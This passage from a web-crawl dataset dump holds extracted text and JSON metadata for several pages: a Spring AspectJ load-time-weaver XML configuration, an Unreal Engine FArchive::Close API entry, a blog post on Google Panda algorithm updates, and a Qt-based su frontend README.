228,
237,
238,
304,
305,
507,
527,
535,
543,
552,
561,
562,
598,
599,
803,
827,
835,
845,
854,
855,
910,
911,
1113,
1133,
1139,
1146,
1155,
1165,
1166,
1200,
1201,
1379,
1407,
1415,
1424,
1433,
1434,
1490,
1491,
1691,
1712,
1720,
1729,
1739,
1748,
1749,
1801,
1802,
2000,
2025,
2033,
2042,
2052,
2053,
2139,
2140,
2309,
2321,
2329,
2339,
2349,
2350,
2395,
2396,
2595,
2615,
2623,
2631,
2640,
2649,
2650,
2704,
2705,
2909,
2930,
2937,
2945,
2955,
2965,
2966,
3055,
3056,
3249,
3267,
3275,
3283,
3293,
3302,
3303,
3340,
3341,
3462,
3474,
3482,
3492,
3501,
3502,
3545,
3546,
3750,
3762,
3769,
3778,
3787,
3788,
3836,
3837,
4030,
4053,
4063,
4070,
4079,
4089,
4090,
4147,
4148,
4351,
4380,
4387,
4396,
4406,
4407,
4481,
4482,
4686,
4715,
4723,
4732,
4742,
4743,
4793,
4794,
4993,
5013,
5021,
5028,
5037,
5047,
5048,
5086,
5087,
5292,
5313,
5321,
5328,
5338,
5347,
5348,
5394,
5395,
5599,
5619,
5627,
5635,
5645,
5655,
5656,
5696,
5697,
5902,
5934,
5942,
5952,
5962,
5963,
6020,
6021,
6224,
6245,
6253,
6261,
6271,
6281,
6282,
6316,
6317,
6515,
6534,
6544,
6551,
6561,
6571,
6572,
6638,
6639,
6833,
6860,
6868,
6877,
6887,
6888,
6945,
6946,
7145,
7163,
7170,
7178,
7188,
7198,
7199,
7217,
7218,
7423,
7449,
7457,
7466,
7476,
7477,
7544,
7545,
7747,
7769,
7779,
7786,
7796,
7806,
7807,
7844,
7845,
8046,
8070,
8080,
8088,
8097,
8107,
8108,
8158,
8159,
8363,
8390
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 8390,
"ccnet_original_nlines": 240,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.32618921995162964,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04652377963066101,
"rps_doc_frac_lines_end_with_ellipsis": 0.10373444110155106,
"rps_doc_frac_no_alph_words": 0.22895975410938263,
"rps_doc_frac_unique_words": 0.37618401646614075,
"rps_doc_mean_word_length": 4.349120616912842,
"rps_doc_num_sentences": 75,
"rps_doc_symbol_to_word_ratio": 0.013068480417132378,
"rps_doc_unigram_entropy": 5.544266700744629,
"rps_doc_word_count": 1478,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03935905173420906,
"rps_doc_frac_chars_dupe_6grams": 0.02504667080938816,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.042003728449344635,
"rps_doc_frac_chars_top_3gram": 0.025668950751423836,
"rps_doc_frac_chars_top_4gram": 0.014934659935534,
"rps_doc_books_importance": -817.7879028320312,
"rps_doc_books_importance_length_correction": -817.7879028320312,
"rps_doc_openwebtext_importance": -479.5574035644531,
"rps_doc_openwebtext_importance_length_correction": -479.5574035644531,
"rps_doc_wikipedia_importance": -365.39422607421875,
"rps_doc_wikipedia_importance_length_correction": -365.39422607421875
},
"fasttext": {
"dclm": 0.2733726501464844,
"english": 0.9266582727432251,
"fineweb_edu_approx": 1.342464566230774,
"eai_general_math": 0.3030357360839844,
"eai_open_web_math": 0.24814945459365845,
"eai_web_code": 0.026487110182642937
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.435",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
7,422,102,890,153,399,000 |
2. Spring Configuration
The context:load-time-weaver registers AspectJ's Load-time Weaver to the current classloader. So, not only Spring beans will be targeted, but any class loaded in the classloader that match the defined pointcuts.
applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
<context:load-time-weaver />
<bean id="processor" class="org.springbyexample.aspectjLoadTimeWeaving.Processor" />
</beans>
|
{
"url": "http://www.springbyexample.org/static/1.3/html/aspectj-ltw-spring-config.html",
"source_domain": "www.springbyexample.org",
"snapshot_id": "crawl=CC-MAIN-2017-34",
"warc_metadata": {
"Content-Length": "4104",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XYZLLIS6VROKNONGKR3RDLH4XAKKJQBJ",
"WARC-Concurrent-To": "<urn:uuid:5c6680eb-611b-4ccc-a426-536dabd29933>",
"WARC-Date": "2017-08-20T17:33:41Z",
"WARC-IP-Address": "208.82.100.249",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:MLO4YANP7QBBPV6WGQMARXFFZUKN44BY",
"WARC-Record-ID": "<urn:uuid:46abfa63-0bea-4ae4-8e25-3cdd449a3e2a>",
"WARC-Target-URI": "http://www.springbyexample.org/static/1.3/html/aspectj-ltw-spring-config.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0a1d7a7d-18f8-4c9a-8c98-835322e7ca4d>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-166-41-80.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-34\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for August 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
24,
25,
237,
238,
261,
278,
317,
376,
434,
500,
569,
654,
725,
816,
817,
850,
855,
944,
949
],
"line_end_idx": [
24,
25,
237,
238,
261,
278,
317,
376,
434,
500,
569,
654,
725,
816,
817,
850,
855,
944,
949,
957
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 957,
"ccnet_original_nlines": 19,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.06341463327407837,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.004878050182014704,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4536585509777069,
"rps_doc_frac_unique_words": 0.8399999737739563,
"rps_doc_mean_word_length": 13.300000190734863,
"rps_doc_num_sentences": 27,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.652024984359741,
"rps_doc_word_count": 50,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -115.79572296142578,
"rps_doc_books_importance_length_correction": -115.79572296142578,
"rps_doc_openwebtext_importance": -64.56655883789062,
"rps_doc_openwebtext_importance_length_correction": -51.29957580566406,
"rps_doc_wikipedia_importance": -46.613616943359375,
"rps_doc_wikipedia_importance_length_correction": -46.613616943359375
},
"fasttext": {
"dclm": 0.4133383631706238,
"english": 0.3851354420185089,
"fineweb_edu_approx": 0.953059732913971,
"eai_general_math": 0.464145302772522,
"eai_open_web_math": 0.3181953430175781,
"eai_web_code": 0.8978772759437561
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
5,550,051,304,935,723,000 |
FArchive::Close
Attempts to close and finalize any handles used for backing data storage, returns true if it succeeded.
Windows
MacOS
Linux
Override Hierarchy
References
Module
Core
Header
/Engine/Source/Runtime/Core/Public/Serialization/Archive.h
Include
#include "Serialization/Archive.h"
Syntax
virtual bool Close()
Remarks
Attempts to close and finalize any handles used for backing data storage, returns true if it succeeded.
Help shape the future of Unreal Engine documentation! Tell us how we're doing so we can serve you better.
Take our survey
Dismiss
|
{
"url": "https://docs.unrealengine.com/4.27/en-US/API/Runtime/Core/Serialization/FArchive/Close/",
"source_domain": "docs.unrealengine.com",
"snapshot_id": "crawl=CC-MAIN-2022-27",
"warc_metadata": {
"Content-Length": "16913",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2DJRSMGBFBXCYYHNYJHBBSFX3XQX5W42",
"WARC-Concurrent-To": "<urn:uuid:2496a8c9-9cfc-41e1-af06-b8cfe5bc120a>",
"WARC-Date": "2022-07-07T01:32:31Z",
"WARC-IP-Address": "184.87.51.92",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:NM34RNBZALEVTYXF7KUS4JLGNTF4BEVF",
"WARC-Record-ID": "<urn:uuid:fe7de309-fa9c-4ac1-8af2-5f8305811001>",
"WARC-Target-URI": "https://docs.unrealengine.com/4.27/en-US/API/Runtime/Core/Serialization/FArchive/Close/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:63a83aba-5ed5-41d0-a4ad-e1be2dcd98d6>"
},
"warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-111\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
16,
17,
121,
122,
130,
136,
142,
143,
162,
163,
174,
175,
182,
183,
188,
189,
196,
197,
256,
257,
265,
266,
301,
302,
309,
310,
331,
332,
340,
341,
445,
446,
552,
568
],
"line_end_idx": [
16,
17,
121,
122,
130,
136,
142,
143,
162,
163,
174,
175,
182,
183,
188,
189,
196,
197,
256,
257,
265,
266,
301,
302,
309,
310,
331,
332,
340,
341,
445,
446,
552,
568,
575
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 575,
"ccnet_original_nlines": 34,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.26605504751205444,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.20183485746383667,
"rps_doc_frac_unique_words": 0.75,
"rps_doc_mean_word_length": 6.065789699554443,
"rps_doc_num_sentences": 7,
"rps_doc_symbol_to_word_ratio": 0.00917430967092514,
"rps_doc_unigram_entropy": 3.9772748947143555,
"rps_doc_word_count": 76,
"rps_doc_frac_chars_dupe_10grams": 0.3687635660171509,
"rps_doc_frac_chars_dupe_5grams": 0.3687635660171509,
"rps_doc_frac_chars_dupe_6grams": 0.3687635660171509,
"rps_doc_frac_chars_dupe_7grams": 0.3687635660171509,
"rps_doc_frac_chars_dupe_8grams": 0.3687635660171509,
"rps_doc_frac_chars_dupe_9grams": 0.3687635660171509,
"rps_doc_frac_chars_top_2gram": 0.043383948504924774,
"rps_doc_frac_chars_top_3gram": 0.06507591903209686,
"rps_doc_frac_chars_top_4gram": 0.0780911073088646,
"rps_doc_books_importance": -42.662811279296875,
"rps_doc_books_importance_length_correction": -56.987213134765625,
"rps_doc_openwebtext_importance": -17.768844604492188,
"rps_doc_openwebtext_importance_length_correction": -32.09324645996094,
"rps_doc_wikipedia_importance": -9.409419059753418,
"rps_doc_wikipedia_importance_length_correction": -23.73381996154785
},
"fasttext": {
"dclm": 0.07962691783905029,
"english": 0.6721367239952087,
"fineweb_edu_approx": 1.4123762845993042,
"eai_general_math": 0.01305454969406128,
"eai_open_web_math": 0.038747791200876236,
"eai_web_code": 0.10345994681119919
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-2,750,522,313,303,707,000 |
Understanding Google Panda algorithm updates
In the last blog post, we discussed about Google Penguin updates. Today, let’s try to understand Google Panda update. The first release of Google Panda was in February 2011. While penguin updates went after back links, the main purpose of panda updates are to watch the quality of website content.I believe by far the biggest affect in search results were made by Panda updates. Panda updates fights scraper sites and content farms. A scraper essentially copies content from various websites using web scraping. Web scraping can be done by simple manual copy and paste or to the extend of using sophisticated web scraping software. On the other hand, content farms are websites with large volume of low quality content often copied from other web sites or being copied in multiple pages of the same webs site. Content Farms usually spend efforts to understand popular search keywords and spin out content based on those phrases.Thus Panda update was also called Farmer Update :)
Unlike Penguin updates, Google Panda updates are more frequent. It is expected that the algorithm has seen close to thirty refreshes. As mentioned about quality of content is the main focus of these updates. However quality doesn’t confine to just the written quality of content. Some of the major factors that could determine the quality of a website are
Quality of written content
Are you an authority about the topic. Is your content original? Will a reader benefit out of the written content you have put in your website? For example, this will be of utmost importance in case of e-commerce sites where there is a tendency to put minimal, duplicate or manufacture wording as product descriptions. These are the factors that determine the quality of written content.
Duplicate content
Are you using the same content in different web pages of your site (even if with minimal wording changes), then you are risking of getting affected by Panda. One example where this is affected unexpectedly is blogs. For example if you are using both tags and categories in your blog, this could be considered as a duplicate. But don’t worry, techniques like using noindex tags will help overcome this issue. Another method is to use canonical tags to tell Google which page to index. Duplicate content is not just limited to your website, it could be outside duplicate content too. For example – micro-sites or your own blogs where you either tend copy paste the same content or make minimal changes. Here is a good Moz article that describes various duplicate possibilities in the eye of Google.
Let’s take an example to understand better the above to points. Consider the book – Half Girl Friend in Amazon or Flipkart. As you can see the product description is kept different in both. Both are different from the description Chetan Bhagat gave in his website. Also we could reach the product page in Amazon or Flipkart in multiple navigational paths or URLs (like category, search direct etc.); but google indexes like the main product page.
Ad to content ratio
One of the elements used by the algorithm to test the quality is number of ads shown. While there are no optimal number, its best to be judicious while selecting the number of ads shown. While there are no optimal ratio for this, keeping the number of ads to minimal always keep you safe. It’s expected that algorithm has really matured to understand the ideal duplicate and ad to content figures.
Technical aspects
Technical aspects that differentiate the quality of a website including performance metrics such as page loading time, UX aspects like navigational ease & design and factors like proper re-directs, 404 pages and so on.
Finally, here is a Google Webmaster central blog post on what Google thinks a high quality website mean?
While the overall check of panda updates was on quality of the websites, third version of panda updates (specifically 3.3 onward) focused also on few other aspects. One improvement was around local search results. This update concentrated on improving on showing relevant search results from a proximity of user/content point of view. Another improvement was related to link evaluation(usage of link characteristics like wording, # of similar links etc to understand the content of the linked page). This was taken to an altogether different level with penguin updates. Freshness of the website was also considered in this update.
Google panda updates starting 3.0 were very regular that it became difficult to specifically focus on each update. Industry experts even opined that the dead Google Dance is back with these regular refreshes. Now the panda refreshes are tracked based on consecutive numbers rather than following a versioning system. From late 2013, Google started to include panda updates with index algorithms; thus becoming part of normal algorithm changes Google makes through-out the year. Panda 4.0 was released in May this year. This update specifically improved on how Google views authority and originality of articles in the web. Here is a good case study on this from Search Engine Land. Another affect out of the Panda 4.0 was on how PR websites are ranked. Many PR websites were affected and had to re-define their publishing guidelines. The latest one was 4.1 or 27th Panda update in September 2014 which is expected to help small websites with original content. Also those websites doing recovering actions are expected to benefit from this update.
One thing we can understand by studying about these updates and their history is that all SEO practices revolve around these updates (like link building, content marketing and so on…)
1 comments
1. This technical post helps me to improve my skills set, thanks for this wonder article I expect your upcoming blog, so keep sharing...
SEO Training
ReplyDelete
My Instagram
|
{
"url": "http://www.anmbadiary.com/2015/11/understanding-google-panda-algorithm.html",
"source_domain": "www.anmbadiary.com",
"snapshot_id": "crawl=CC-MAIN-2018-30",
"warc_metadata": {
"Content-Length": "226235",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XBLAW53SZWGSJGMTKPEZ33UGZAYZAKZF",
"WARC-Concurrent-To": "<urn:uuid:2cabaa68-4ee2-41e2-9b3e-996b70ac8c3a>",
"WARC-Date": "2018-07-16T04:33:17Z",
"WARC-IP-Address": "172.217.7.243",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:XVDK3MTI5ONVTTFPDQZTT3SHFLYXZQU7",
"WARC-Record-ID": "<urn:uuid:27f142d3-89f8-4810-918d-b3e424c11f9a>",
"WARC-Target-URI": "http://www.anmbadiary.com/2015/11/understanding-google-panda-algorithm.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8c3e3ed8-c797-43a7-a3b3-526e8d748400>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-13-227-44.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
45,
46,
1025,
1026,
1384,
1385,
1412,
1799,
1800,
1818,
2615,
2616,
3063,
3064,
3084,
3482,
3483,
3501,
3720,
3721,
3826,
3827,
4458,
4459,
5507,
5508,
5692,
5693,
5704,
5705,
5706,
5845,
5862,
5863,
5879,
5880
],
"line_end_idx": [
45,
46,
1025,
1026,
1384,
1385,
1412,
1799,
1800,
1818,
2615,
2616,
3063,
3064,
3084,
3482,
3483,
3501,
3720,
3721,
3826,
3827,
4458,
4459,
5507,
5508,
5692,
5693,
5704,
5705,
5706,
5845,
5862,
5863,
5879,
5880,
5892
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5892,
"ccnet_original_nlines": 36,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4038461446762085,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.007326010148972273,
"rps_doc_frac_lines_end_with_ellipsis": 0.027027029544115067,
"rps_doc_frac_no_alph_words": 0.11538462340831757,
"rps_doc_frac_unique_words": 0.4072538912296295,
"rps_doc_mean_word_length": 4.959585666656494,
"rps_doc_num_sentences": 64,
"rps_doc_symbol_to_word_ratio": 0.002747250022366643,
"rps_doc_unigram_entropy": 5.3674774169921875,
"rps_doc_word_count": 965,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.024237360805273056,
"rps_doc_frac_chars_dupe_6grams": 0.01587964966893196,
"rps_doc_frac_chars_dupe_7grams": 0.01587964966893196,
"rps_doc_frac_chars_dupe_8grams": 0.01587964966893196,
"rps_doc_frac_chars_dupe_9grams": 0.01587964966893196,
"rps_doc_frac_chars_top_2gram": 0.02005849964916706,
"rps_doc_frac_chars_top_3gram": 0.01002924982458353,
"rps_doc_frac_chars_top_4gram": 0.008775600232183933,
"rps_doc_books_importance": -439.7408752441406,
"rps_doc_books_importance_length_correction": -439.7408752441406,
"rps_doc_openwebtext_importance": -227.89178466796875,
"rps_doc_openwebtext_importance_length_correction": -227.89178466796875,
"rps_doc_wikipedia_importance": -147.49549865722656,
"rps_doc_wikipedia_importance_length_correction": -147.49549865722656
},
"fasttext": {
"dclm": 0.04627859964966774,
"english": 0.9287095069885254,
"fineweb_edu_approx": 1.9637846946716309,
"eai_general_math": 0.26357656717300415,
"eai_open_web_math": 0.1605069637298584,
"eai_web_code": 0.07231128215789795
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "658.87",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
4,338,576,381,593,758,000 |
SU implementation using Qt 4 as the conversation frontend
C C++ Prolog Shell
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Failed to load latest commit information.
build
resources
src
.gitignore
CMakeLists.txt
LICENSE
README
config.h.def
config.h.in
configure
qsu.pro
README
SU implementation using Qt4 as the conversation frontend.
Icons
=====
Oxygen Icons: http://www.oxygen-icons.org/
Configuring
===========
"./configure" will bootstrap the build directory for you, or you can do it
manually if you like living on the edge.
If you're using CMake, a few settings are availble in the cache (QSU_*),
you can change them around by running: make edit_cache
Otherwise, when using qmake, you can simply copy the supplied config.h.def
and change to your hearts content.
Installing
==========
make install (as root)
|
{
"url": "https://github.com/gamaral/qsu",
"source_domain": "github.com",
"snapshot_id": "crawl=CC-MAIN-2017-13",
"warc_metadata": {
"Content-Length": "51889",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UIISW2DOMFZWKXATSYWQRKCPBXHPSWYT",
"WARC-Concurrent-To": "<urn:uuid:654d2e25-ec57-49bc-935e-e05400e3851b>",
"WARC-Date": "2017-03-27T22:40:52Z",
"WARC-IP-Address": "192.30.253.113",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:5NBGXIG6YUZGF5R4DJ2CIQO3JSA3RCNR",
"WARC-Record-ID": "<urn:uuid:53ed9622-80ae-45ba-8f29-99e2505b48d4>",
"WARC-Target-URI": "https://github.com/gamaral/qsu",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5316cd3b-0456-42ef-b3f8-cd2a831fbedf>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-233-31-227.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-13\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for March 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
58,
77,
101,
149,
159,
201,
207,
217,
221,
232,
247,
255,
262,
275,
287,
297,
305,
306,
313,
314,
372,
373,
379,
385,
386,
433,
434,
446,
458,
459,
538,
583,
584,
661,
720,
721,
800,
839,
840,
851,
862,
863
],
"line_end_idx": [
58,
77,
101,
149,
159,
201,
207,
217,
221,
232,
247,
255,
262,
275,
287,
297,
305,
306,
313,
314,
372,
373,
379,
385,
386,
433,
434,
446,
458,
459,
538,
583,
584,
661,
720,
721,
800,
839,
840,
851,
862,
863,
889
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 889,
"ccnet_original_nlines": 42,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2923976480960846,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.046783629804849625,
"rps_doc_frac_lines_end_with_ellipsis": 0.023255810141563416,
"rps_doc_frac_no_alph_words": 0.2222222238779068,
"rps_doc_frac_unique_words": 0.7190082669258118,
"rps_doc_mean_word_length": 5.421487808227539,
"rps_doc_num_sentences": 18,
"rps_doc_symbol_to_word_ratio": 0.005847950000315905,
"rps_doc_unigram_entropy": 4.317314147949219,
"rps_doc_word_count": 121,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.027439020574092865,
"rps_doc_frac_chars_top_3gram": 0.06402438879013062,
